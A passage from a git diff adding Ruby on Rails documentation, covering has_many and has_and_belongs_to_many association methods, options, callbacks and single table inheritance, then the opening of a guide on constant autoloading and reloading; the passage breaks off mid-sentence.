+Now let's set `distinct`:
+
+```ruby
+class Person
+  has_many :readings
+  has_many :articles, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+article   = Article.create(name: 'a1')
+person.articles << article
+person.articles << article
+person.articles.inspect # => [#<Article id: 7, name: "a1">]
+Reading.all.inspect     # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
+```
+
+In the above case there are still two readings. However `person.articles` shows
+only one article because the collection loads only unique records.
+
+If you want to make sure that, upon insertion, all of the records in the
+persisted association are distinct (so that you can be sure that when you
+inspect the association that you will never find duplicate records), you should
+add a unique index on the table itself. For example, if you have a table named
+`readings` and you want to make sure the articles can only be added to a person once,
+you could add the following in a migration:
+
+```ruby
+add_index :readings, [:person_id, :article_id], unique: true
+```
+
+Once you have this unique index, attempting to add the article to a person twice
+will raise an `ActiveRecord::RecordNotUnique` error:
+
+```ruby
+person = Person.create(name: 'Honda')
+article = Article.create(name: 'a1')
+person.articles << article
+person.articles << article # => ActiveRecord::RecordNotUnique
+```
+
+Note that checking for uniqueness using something like `include?` is subject
+to race conditions. Do not attempt to use `include?` to enforce distinctness
+in an association. For instance, using the article example from above, the
+following code would be racy because multiple users could be attempting this
+at the same time:
+
+```ruby
+person.articles << article unless person.articles.include?(article)
+```
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_many` association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_many` association without saving the object, use the `collection.build` method.
+
+### `has_and_belongs_to_many` Association Reference
+
+The `has_and_belongs_to_many` association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+#### Methods Added by `has_and_belongs_to_many`
+
+When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association:
+
+* `collection`
+* `collection<<(object, ...)`
+* `collection.delete(object, ...)`
+* `collection.destroy(object, ...)`
+* `collection=(objects)`
+* `collection_singular_ids`
+* `collection_singular_ids=(ids)`
+* `collection.clear`
+* `collection.empty?`
+* `collection.size`
+* `collection.find(...)`
+* `collection.where(...)`
+* `collection.exists?(...)`
+* `collection.build(attributes = {})`
+* `collection.create(attributes = {})`
+* `collection.create!(attributes = {})`
+
+In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration:
+
+```ruby
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+```
+
+Each instance of the `Part` model will have these methods:
+
+```ruby
+assemblies
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=(objects)
+assembly_ids
+assembly_ids=(ids)
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+```
+
+##### Additional Column Methods
+
+If the join table for a `has_and_belongs_to_many` association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a `has_and_belongs_to_many` association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a `has_many :through` association instead of `has_and_belongs_to_many`.
+
+
+##### `collection`
+
+The `collection` method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+```ruby
+@assemblies = @part.assemblies
+```
+
+##### `collection<<(object, ...)`
+
+The `collection<<` method adds one or more objects to the collection by creating records in the join table.
+
+```ruby
+@part.assemblies << @assembly1
+```
+
+NOTE: This method is aliased as `collection.concat` and `collection.push`.
+
+##### `collection.delete(object, ...)`
+
+The `collection.delete` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+@part.assemblies.delete(@assembly1)
+```
+
+##### `collection.destroy(object, ...)`
+
+The `collection.destroy` method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+```ruby
+@part.assemblies.destroy(@assembly1)
+```
+
+##### `collection=(objects)`
+
+The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.
+
+##### `collection_singular_ids`
+
+The `collection_singular_ids` method returns an array of the ids of the objects in the collection.
+
+```ruby
+@assembly_ids = @part.assembly_ids
+```
+
+##### `collection_singular_ids=(ids)`
+
+The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.
+
+##### `collection.clear`
+
+The `collection.clear` method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+##### `collection.empty?`
+
+The `collection.empty?` method returns `true` if the collection does not contain any associated objects.
+
+```ruby
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+```
+
+##### `collection.size`
+
+The `collection.size` method returns the number of objects in the collection.
+
+```ruby
+@assembly_count = @part.assemblies.size
+```
+
+##### `collection.find(...)`
+
+The `collection.find` method finds objects within the collection. It uses the same syntax and options as `ActiveRecord::Base.find`. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+@assembly = @part.assemblies.find(1)
+```
+
+##### `collection.where(...)`
+
+The `collection.where` method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+```ruby
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+```
+
+##### `collection.exists?(...)`
+
+The `collection.exists?` method checks whether an object meeting the supplied
+conditions exists in the collection. It uses the same syntax and options as
+[`ActiveRecord::Base.exists?`](http://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-exists-3F).
+
+##### `collection.build(attributes = {})`
+
+The `collection.build` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+```ruby
+@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create(attributes = {})`
+
+The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+```
+
+##### `collection.create!(attributes = {})`
+
+Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid.
+
+#### Options for `has_and_belongs_to_many`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { readonly },
+                                       autosave: true
+end
+```
+
+The `has_and_belongs_to_many` association supports these options:
+
+* `:association_foreign_key`
+* `:autosave`
+* `:class_name`
+* `:foreign_key`
+* `:join_table`
+* `:validate`
+
+##### `:association_foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly:
+
+TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example:
+
+```ruby
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+```
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way:
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+```
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class User < ApplicationRecord
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+```
+
+##### `:join_table`
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.
+
+##### `:validate`
+
+If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved.
+
+#### Scopes for `has_and_belongs_to_many`
+
+There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `extending`
+* `group`
+* `includes`
+* `limit`
+* `offset`
+* `order`
+* `readonly`
+* `select`
+* `distinct`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+```
+
+You can also set conditions via a hash:
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: 'Seattle' }
+end
+```
+
+If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle".
+
+##### `extending`
+
+The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions).
+
+##### `group`
+
+The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used.
+
+##### `limit`
+
+The `limit` method lets you restrict the total number of objects that will be fetched through an association.
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+```
+
+##### `offset`
+
+The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records.
+
+##### `order`
+
+The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).
+
+```ruby
+class Parts < ApplicationRecord
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+```
+
+##### `readonly`
+
+If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+##### `distinct`
+
+Use the `distinct` method to remove duplicates from the collection.
+
+#### When are Objects Saved?
+
+When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled.
+
+If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method.
+
+### Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* `before_add`
+* `after_add`
+* `before_remove`
+* `after_remove`
+
+You define association callbacks by adding options to the association declaration. For example:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books, before_add: :check_credit_limit
+
+  def check_credit_limit(book)
+    ...
+  end
+end
+```
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books,
+    before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(book)
+    ...
+  end
+
+  def calculate_shipping_charges(book)
+    ...
+  end
+end
+```
+
+If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection.
+
+### Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books do
+    def find_by_book_prefix(book_number)
+      find_by(category_id: book_number[0..2])
+    end
+  end
+end
+```
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+```ruby
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Author < ApplicationRecord
+  has_many :books, -> { extending FindRecentExtension }
+end
+
+class Supplier < ApplicationRecord
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+```
+
+Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor:
+
+* `proxy_association.owner` returns the object that the association is a part of.
+* `proxy_association.reflection` returns the reflection object that describes the association.
+* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`.
+
+Single Table Inheritance
+------------------------
+
+Sometimes, you may want to share fields and behavior between different models.
+Let's say we have Car, Motorcycle and Bicycle models. We will want to share
+the `color` and `price` fields and some methods for all of them, but having some
+specific behavior for each, and separated controllers too.
+
+Rails makes this quite easy. First, let's generate the base Vehicle model:
+
+```bash
+$ rails generate model vehicle type:string color:string price:decimal{10.2}
+```
+
+Did you note we are adding a "type" field? Since all models will be saved in a
+single database table, Rails will save in this column the name of the model that
+is being saved. In our example, this can be "Car", "Motorcycle" or "Bicycle."
+STI won't work without a "type" field in the table.
+
+Next, we will generate the three models that inherit from Vehicle. For this,
+we can use the `--parent=PARENT` option, which will generate a model that
+inherits from the specified parent and without equivalent migration (since the
+table already exists).
+
+For example, to generate the Car model:
+
+```bash
+$ rails generate model car --parent=Vehicle
+```
+
+The generated model will look like this:
+
+```ruby
+class Car < Vehicle
+end
+```
+
+This means that all behavior added to Vehicle is available for Car too, as
+associations, public methods, etc.
+
+Creating a car will save it in the `vehicles` table with "Car" as the `type` field:
+
+```ruby
+Car.create(color: 'Red', price: 10000)
+```
+
+will generate the following SQL:
+
+```sql
+INSERT INTO "vehicles" ("type", "color", "price") VALUES ('Car', 'Red', 10000)
+```
+
+Querying car records will just search for vehicles that are cars:
+
+```ruby
+Car.all
+```
+
+will run a query like:
+
+```sql
+SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
+```
diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md
new file mode 100644
index 0000000000..05743ee4ce
--- /dev/null
+++ b/guides/source/autoloading_and_reloading_constants.md
@@ -0,0 +1,1314 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Autoloading and Reloading Constants
+===================================
+
+This guide documents how constant autoloading and reloading works.
+
+After reading this guide, you will know:
+
+* Key aspects of Ruby constants
+* What is `autoload_paths`
+* How constant autoloading works
+* What is `require_dependency`
+* How constant reloading works
+* Solutions to common autoloading gotchas
+
+--------------------------------------------------------------------------------
+
+
+Introduction
+------------
+
+Ruby on Rails allows applications to be written as if their code was preloaded.
+
+In a normal Ruby program classes need to load their dependencies:
+
+```ruby
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+Our Rubyist instinct quickly sees some redundancy in there: If classes were
+defined in files matching their name, couldn't their loading be automated
+somehow? We could save scanning the file for dependencies, which is brittle.
+
+Moreover, `Kernel#require` loads files once, but development is much more smooth
+if code gets refreshed when it changes without restarting the server. It would
+be nice to be able to use `Kernel#load` in development, and `Kernel#require` in
+production.
+
+Indeed, those features are provided by Ruby on Rails, where we just write
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+This guide documents how that works.
+
+
+Constants Refresher
+-------------------
+
+While constants are trivial in most programming languages, they are a rich
+topic in Ruby.
+
+It is beyond the scope of this guide to document Ruby constants, but we are
+nevertheless going to highlight a few key topics. Truly grasping the following
+sections is instrumental to understanding constant autoloading and reloading.
+
+### Nesting
+
+Class and module definitions can be nested to create namespaces:
+
+```ruby
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+```
+
+The *nesting* at any given place is the collection of enclosing nested class and
+module objects outwards. The nesting at any given place can be inspected with
+`Module.nesting`. For example, in the previous example, the nesting at
+(1) is
+
+```ruby
+[XML::SAXParser, XML]
+```
+
+It is important to understand that the nesting is composed of class and module
+*objects*, it has nothing to do with the constants used to access them, and is
+also unrelated to their names.
+
+For instance, while this definition is similar to the previous one:
+
+```ruby
+class XML::SAXParser
+  # (2)
+end
+```
+
+the nesting in (2) is different:
+
+```ruby
+[XML::SAXParser]
+```
+
+`XML` does not belong to it.
+
+We can see in this example that the name of a class or module that belongs to a
+certain nesting does not necessarily correlate with the namespaces at the spot.
+
+Even more, they are totally independent, take for instance
+
+```ruby
+module X
+  module Y
+  end
+end
+
+module A
+  module B
+  end
+end
+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+```
+
+The nesting in (3) consists of two module objects:
+
+```ruby
+[A::B, X::Y]
+```
+
+So, it not only doesn't end in `A`, which does not even belong to the nesting,
+but it also contains `X::Y`, which is independent from `A::B`.
+
+The nesting is an internal stack maintained by the interpreter, and it gets
+modified according to these rules:
+
+* The class object following a `class` keyword gets pushed when its body is
+executed, and popped after it.
+
+* The module object following a `module` keyword gets pushed when its body is
+executed, and popped after it.
+
+* A singleton class opened with `class << object` gets pushed, and popped later.
+
+* When `instance_eval` is called using a string argument,
+the singleton class of the receiver is pushed to the nesting of the eval'ed
+code. When `class_eval` or `module_eval` is called using a string argument,
+the receiver is pushed to the nesting of the eval'ed code.
+
+* The nesting at the top-level of code interpreted by `Kernel#load` is empty
+unless the `load` call receives a true value as second argument, in which case
+a newly created anonymous module is pushed by Ruby.
+
+It is interesting to observe that blocks do not modify the stack. In particular
+the blocks that may be passed to `Class.new` and `Module.new` do not get the
+class or module being defined pushed to their nesting. That's one of the
+differences between defining classes and modules in one way or another.
+
+### Class and Module Definitions are Constant Assignments
+
+Let's suppose the following snippet creates a class (rather than reopening it):
+
+```ruby
+class C
+end
+```
+
+Ruby creates a constant `C` in `Object` and stores in that constant a class
+object. The name of the class instance is "C", a string, named after the
+constant.
+
+That is,
+
+```ruby
+class Project < ApplicationRecord
+end
+```
+
+performs a constant assignment equivalent to
+
+```ruby
+Project = Class.new(ApplicationRecord)
+```
+
+including setting the name of the class as a side-effect:
+
+```ruby
+Project.name # => "Project"
+```
+
+Constant assignment has a special rule to make that happen: if the object
+being assigned is an anonymous class or module, Ruby sets the object's name to
+the name of the constant.
+
+INFO. From then on, what happens to the constant and the instance does not
+matter. For example, the constant could be deleted, the class object could be
+assigned to a different constant, be stored in no constant anymore, etc. Once
+the name is set, it doesn't change.
+
+Similarly, module creation using the `module` keyword as in
+
+```ruby
+module Admin
+end
+```
+
+performs a constant assignment equivalent to
+
+```ruby
+Admin = Module.new
+```
+
+including setting the name as a side-effect:
+
+```ruby
+Admin.name # => "Admin"
+```
+
+WARNING. The execution context of a block passed to `Class.new` or `Module.new`
+is not entirely equivalent to the one of the body of the definitions using the
+`class` and `module` keywords. But both idioms result in the same constant
+assignment.
+
+Thus, when one informally says "the `String` class", that really means: the
+class object stored in the constant called "String" in the class object stored
+in the `Object` constant. `String` is otherwise an ordinary Ruby constant and
+everything related to constants such as resolution algorithms applies to it.
+
+Likewise, in the controller
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+`Post` is not syntax for a class. Rather, `Post` is a regular Ruby constant. If
+all is good, the constant is evaluated to an object that responds to `all`.
+
+That is why we talk about *constant* autoloading, Rails has the ability to
+load constants on the fly.
+
+### Constants are Stored in Modules
+
+Constants belong to modules in a very literal sense. Classes and modules have
+a constant table; think of it as a hash table.
+
+Let's analyze an example to really understand what that means. While common
+abuses of language like "the `String` class" are convenient, the exposition is
+going to be precise here for didactic purposes.
+
+Let's consider the following module definition:
+
+```ruby
+module Colors
+  RED = '0xff0000'
+end
+```
+
+First, when the `module` keyword is processed, the interpreter creates a new
+entry in the constant table of the class object stored in the `Object` constant.
+Said entry associates the name "Colors" to a newly created module object.
+Furthermore, the interpreter sets the name of the new module object to be the
+string "Colors".
+
+Later, when the body of the module definition is interpreted, a new entry is
+created in the constant table of the module object stored in the `Colors`
+constant. That entry maps the name "RED" to the string "0xff0000".
+
+In particular, `Colors::RED` is totally unrelated to any other `RED` constant
+that may live in any other class or module object. If there were any, they
+would have separate entries in their respective constant tables.
+
+Pay special attention in the previous paragraphs to the distinction between
+class and module objects, constant names, and value objects associated to them
+in constant tables.
+
+### Resolution Algorithms
+
+#### Resolution Algorithm for Relative Constants
+
+At any given place in the code, let's define *cref* to be the first element of
+the nesting if it is not empty, or `Object` otherwise.
+
+Without getting too much into the details, the resolution algorithm for relative
+constant references goes like this:
+
+1. If the nesting is not empty the constant is looked up in its elements and in
+order. The ancestors of those elements are ignored.
+
+2. If not found, then the algorithm walks up the ancestor chain of the cref.
+
+3. If not found and the cref is a module, the constant is looked up in `Object`.
+
+4. If not found, `const_missing` is invoked on the cref. The default
+implementation of `const_missing` raises `NameError`, but it can be overridden.
+
+Rails autoloading **does not emulate this algorithm**, but its starting point is
+the name of the constant to be autoloaded, and the cref. See more in [Relative
+References](#autoloading-algorithms-relative-references).
+
+#### Resolution Algorithm for Qualified Constants
+
+Qualified constants look like this:
+
+```ruby
+Billing::Invoice
+```
+
+`Billing::Invoice` is composed of two constants: `Billing` is relative and is
+resolved using the algorithm of the previous section.
+
+INFO. Leading colons would make the first segment absolute rather than
+relative: `::Billing::Invoice`. That would force `Billing` to be looked up
+only as a top-level constant.
+
+`Invoice` on the other hand is qualified by `Billing` and we are going to see
+its resolution next. Let's define *parent* to be that qualifying class or module
+object, that is, `Billing` in the example above. The algorithm for qualified
+constants goes like this:
+
+1. The constant is looked up in the parent and its ancestors.
+
+2. If the lookup fails, `const_missing` is invoked in the parent. The default
+implementation of `const_missing` raises `NameError`, but it can be overridden.
+
+As you see, this algorithm is simpler than the one for relative constants. In
+particular, the nesting plays no role here, and modules are not special-cased,
+if neither they nor their ancestors have the constants, `Object` is **not**
+checked.
+
+Rails autoloading **does not emulate this algorithm**, but its starting point is
+the name of the constant to be autoloaded, and the parent. See more in
+[Qualified References](#autoloading-algorithms-qualified-references).
+
+
+Vocabulary
+----------
+
+### Parent Namespaces
+
+Given a string with a constant path we define its *parent namespace* to be the
+string that results from removing its rightmost segment.
+
+For example, the parent namespace of the string "A::B::C" is the string "A::B",
+the parent namespace of "A::B" is "A", and the parent namespace of "A" is "".
+
+The interpretation of a parent namespace when thinking about classes and modules
+is tricky though. Let's consider a module M named "A::B":
+
+* The parent namespace, "A", may not reflect nesting at a given spot.
+
+* The constant `A` may no longer exist, some code could have removed it from
+`Object`.
+
+* If `A` exists, the class or module that was originally in `A` may not be there
+anymore. For example, if after a constant removal there was another constant
+assignment there would generally be a different object in there.
+
+* In such case, it could even happen that the reassigned `A` held a new class or
+module called also "A"!
+
+* In the previous scenarios M would no longer be reachable through `A::B` but
+the module object itself could still be alive somewhere and its name would
+still be "A::B".
+
+The idea of a parent namespace is at the core of the autoloading algorithms
+and helps explain and understand their motivation intuitively, but as you see
+that metaphor leaks easily. Given an edge case to reason about, take always into
+account that by "parent namespace" the guide means exactly that specific string
+derivation.
+
+### Loading Mechanism
+
+Rails autoloads files with `Kernel#load` when `config.cache_classes` is false,
+the default in development mode, and with `Kernel#require` otherwise, the
+default in production mode.
+
+`Kernel#load` allows Rails to execute files more than once if [constant
+reloading](#constant-reloading) is enabled.
+
+This guide uses the word "load" freely to mean a given file is interpreted, but
+the actual mechanism can be `Kernel#load` or `Kernel#require` depending on that
+flag.
+
+
+Autoloading Availability
+------------------------
+
+Rails is always able to autoload provided its environment is in place. For
+example the `runner` command autoloads:
+
+```
+$ bin/rails runner 'p User.column_names'
+["id", "email", "created_at", "updated_at"]
+```
+
+The console autoloads, the test suite autoloads, and of course the application
+autoloads.
+
+By default, Rails eager loads the application files when it boots in production
+mode, so most of the autoloading going on in development does not happen. But
+autoloading may still be triggered during eager loading.
+
+For example, given
+
+```ruby
+class BeachHouse < House
+end
+```
+
+if `House` is still unknown when `app/models/beach_house.rb` is being eager
+loaded, Rails autoloads it.
+
+
+autoload_paths
+--------------
+
+As you probably know, when `require` gets a relative file name:
+
+```ruby
+require 'erb'
+```
+
+Ruby looks for the file in the directories listed in `$LOAD_PATH`. That is, Ruby
+iterates over all its directories and for each one of them checks whether they
+have a file called "erb.rb", or "erb.so", or "erb.o", or "erb.dll". If it finds
+any of them, the interpreter loads it and ends the search. Otherwise, it tries
+again in the next directory of the list. If the list gets exhausted, `LoadError`
+is raised.
+
+We are going to cover how constant autoloading works in more detail later, but
+the idea is that when a constant like `Post` is hit and missing, if there's a
+`post.rb` file for example in `app/models` Rails is going to find it, evaluate
+it, and have `Post` defined as a side-effect.
+
+Alright, Rails has a collection of directories similar to `$LOAD_PATH` in which
+to look up `post.rb`. That collection is called `autoload_paths` and by
+default it contains:
+
+* All subdirectories of `app` in the application and engines present at boot
+  time. For example, `app/controllers`. They do not need to be the default
+  ones, any custom directories like `app/workers` belong automatically to
+  `autoload_paths`.
+
+* Any existing second level directories called `app/*/concerns` in the
+  application and engines.
+
+* The directory `test/mailers/previews`.
+
+Also, this collection is configurable via `config.autoload_paths`. For example,
+`lib` was in the list years ago, but no longer is. An application can opt-in
+by adding this to `config/application.rb`:
+
+```ruby
+config.autoload_paths << "#{Rails.root}/lib"
+```
+
+`config.autoload_paths` is not changeable from environment-specific configuration files.
+
+The value of `autoload_paths` can be inspected. In a just generated application
+it is (edited):
+
+```
+$ bin/rails r 'puts ActiveSupport::Dependencies.autoload_paths'
+.../app/assets
+.../app/controllers
+.../app/helpers
+.../app/mailers
+.../app/models
+.../app/controllers/concerns
+.../app/models/concerns
+.../test/mailers/previews
+```
+
+INFO. `autoload_paths` is computed and cached during the initialization process.
+The application needs to be restarted to reflect any changes in the directory
+structure.
+
+
+Autoloading Algorithms
+----------------------
+
+### Relative References
+
+A relative constant reference may appear in several places, for example, in
+
+```ruby
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+```
+
+all three constant references are relative.
+
+#### Constants after the `class` and `module` Keywords
+
+Ruby performs a lookup for the constant that follows a `class` or `module`
+keyword because it needs to know if the class or module is going to be created
+or reopened.
+
+If the constant is not defined at that point it is not considered to be a
+missing constant, autoloading is **not** triggered.
+
+So, in the previous example, if `PostsController` is not defined when the file
+is interpreted Rails autoloading is not going to be triggered, Ruby will just
+define the controller.
+
+#### Top-Level Constants
+
+On the contrary, if `ApplicationController` is unknown, the constant is
+considered missing and an autoload is going to be attempted by Rails.
+
+In order to load `ApplicationController`, Rails iterates over `autoload_paths`.
+First it checks if `app/assets/application_controller.rb` exists. If it does not,
+which is normally the case, it continues and finds
+`app/controllers/application_controller.rb`.
+
+If the file defines the constant `ApplicationController` all is fine, otherwise
+`LoadError` is raised:
+
+```
+unable to autoload constant ApplicationController, expected
+<full path to application_controller.rb> to define it (LoadError)
+```
+
+INFO. Rails does not require the value of autoloaded constants to be a class or
+module object. For example, if the file `app/models/max_clients.rb` defines
+`MAX_CLIENTS = 100` autoloading `MAX_CLIENTS` works just fine.
+
+#### Namespaces
+
+Autoloading `ApplicationController` looks directly under the directories of
+`autoload_paths` because the nesting in that spot is empty. The situation of
+`Post` is different, the nesting in that line is `[PostsController]` and support
+for namespaces comes into play.
+
+The basic idea is that given
+
+```ruby
+module Admin
+  class BaseController < ApplicationController
+    @@all_roles = Role.all
+  end
+end
+```
+
+to autoload `Role` we are going to check if it is defined in the current or
+parent namespaces, one at a time. So, conceptually we want to try to autoload
+any of
+
+```
+Admin::BaseController::Role
+Admin::Role
+Role
+```
+
+in that order. That's the idea. To do so, Rails looks in `autoload_paths`
+respectively for file names like these:
+
+```
+admin/base_controller/role.rb
+admin/role.rb
+role.rb
+```
+
+modulus some additional directory lookups we are going to cover soon.
+
+INFO. `'Constant::Name'.underscore` gives the relative path without extension of
+the file name where `Constant::Name` is expected to be defined.
+
+Let's see how Rails autoloads the `Post` constant in the `PostsController`
+above assuming the application has a `Post` model defined in
+`app/models/post.rb`.
+
+First it checks for `posts_controller/post.rb` in `autoload_paths`:
+
+```
+app/assets/posts_controller/post.rb
+app/controllers/posts_controller/post.rb
+app/helpers/posts_controller/post.rb
+...
+test/mailers/previews/posts_controller/post.rb
+```
+
+Since the lookup is exhausted without success, a similar search for a directory
+is performed, we are going to see why in the [next section](#automatic-modules):
+
+```
+app/assets/posts_controller/post
+app/controllers/posts_controller/post
+app/helpers/posts_controller/post
+...
+test/mailers/previews/posts_controller/post
+```
+
+If all those attempts fail, then Rails starts the lookup again in the parent
+namespace. In this case only the top-level remains:
+
+```
+app/assets/post.rb
+app/controllers/post.rb
+app/helpers/post.rb
+app/mailers/post.rb
+app/models/post.rb
+```
+
+A matching file is found in `app/models/post.rb`. The lookup stops there and the
